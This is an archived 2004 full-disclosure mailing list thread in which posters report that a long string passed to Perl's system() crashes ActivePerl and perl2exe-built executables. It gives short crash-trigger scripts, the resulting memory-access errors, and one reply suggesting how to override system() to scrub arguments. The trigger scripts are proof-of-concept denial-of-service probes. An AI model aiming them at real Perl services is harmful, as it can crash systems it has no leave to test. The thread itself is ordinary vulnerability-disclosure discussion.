Re: ActivePerl Perl2Exe [was] Buffer Overflow in ActivePerl ?

["morning_wood" <se_cur_ity () hotmail com>]

further testing...

c:\>type test1.pl
#test1.pl
$a="A" x 256; system($a);

http://[host]/test1.pl
[host - output ]
The instruction at "0x28073f63" referenced memory at "0x01c42ce0".
The memory could not be "read"

c:\>type test2.pl
#test2.pl
$a="A" x 261; system($a);

http://[host]/test2.pl
[host - output ]
The instruction at "0x28073f63" referenced memory at "0x42c42ce0".
The memory could not be "read"

Donnie Werner
http://exploitlabs.com


----- Original Message -----
From: "Stephen Blass" <Stephen.Blass () asu edu>
To: <full-disclosure () lists netsys com>
Sent: Thursday, May 20, 2004 2:15 PM
Subject: RE: [Full-disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
ActivePerl ?


> Perl2Exe rolls the interpreter up into the exe so if the interpreter is
vulnerable, then the exe will be too.  With the service compiler you will have
the same situation in services compiled as 'standalone'; if you compile
'dependent' services you are at the mercy of the perl interpreter on the system
you deploy the service on.
> You can change the behavior of the perl 'system' in a perl script like so.
>
> use subs qw (system);
> sub system { my ($cmd)=@_; print"what, me run $cmd ? "; }
> $a="A" x 256; system($a);
>
> You can reach out from your custom system subroutine to the real thing if
you'd like by calling CORE::system if you want to scrub arguments some more
before passing them to the system.
> -
> Steve Blass
>
>
>
>
> -----Original Message-----
> From: full-disclosure-admin () lists netsys com
> [mailto:full-disclosure-admin () lists netsys com]On Behalf Of Clint
> Bodungen
> Sent: Thursday, May 20, 2004 12:44 PM
> To: morning_wood; 0day; full-disclosure () lists netsys com
> Subject: Re: [Full-disclosure] ActivePerl Perl2Exe [was] Buffer Overflow
> in ActivePerl ?
>
>
> I haven't tested it yet but this also probably means that the msi/Microsoft
> service compilor in the Activeperl Developer's Kit is as well then.
>
>
> ----- Original Message -----
> From: "morning_wood" <se_cur_ity () hotmail com>
> To: "0day" <0day () nothackers org>; <full-disclosure () lists netsys com>
> Sent: Thursday, May 20, 2004 2:08 PM
> Subject: [Full-disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
> ActivePerl ?
>
>
> > binaries created via perl2exe also are affected.
> >
> > C:\>type 1.pl
> > #
> > $a="A" x 256; system($a);
> >
> > C:\>perl2exe -v 1.pl
> > Perl2Exe V7.02 Copyright (c) 1997-2003 IndigoSTAR Software
> > Cmd = -v 1.pl
> > CWD = C:\
> > Known platforms: Win32
> > Target platform = Win32 5.006001
> > $I =
> > $ENV{'PERL5LIB'} =
> > Found perl.exe at C:\Perl\bin
> > LibList = C:\Perl\lib,C:\Perl\site\lib,.
> > Converting '1.pl' to 1.exe
> > Compiling 1.pl
> >
> > C:\>1.exe
> > [BIG CRASH]
> >
> > C:\>
> >
> >
> >
> > Donnie Werner
> > http://exploitlabs.com

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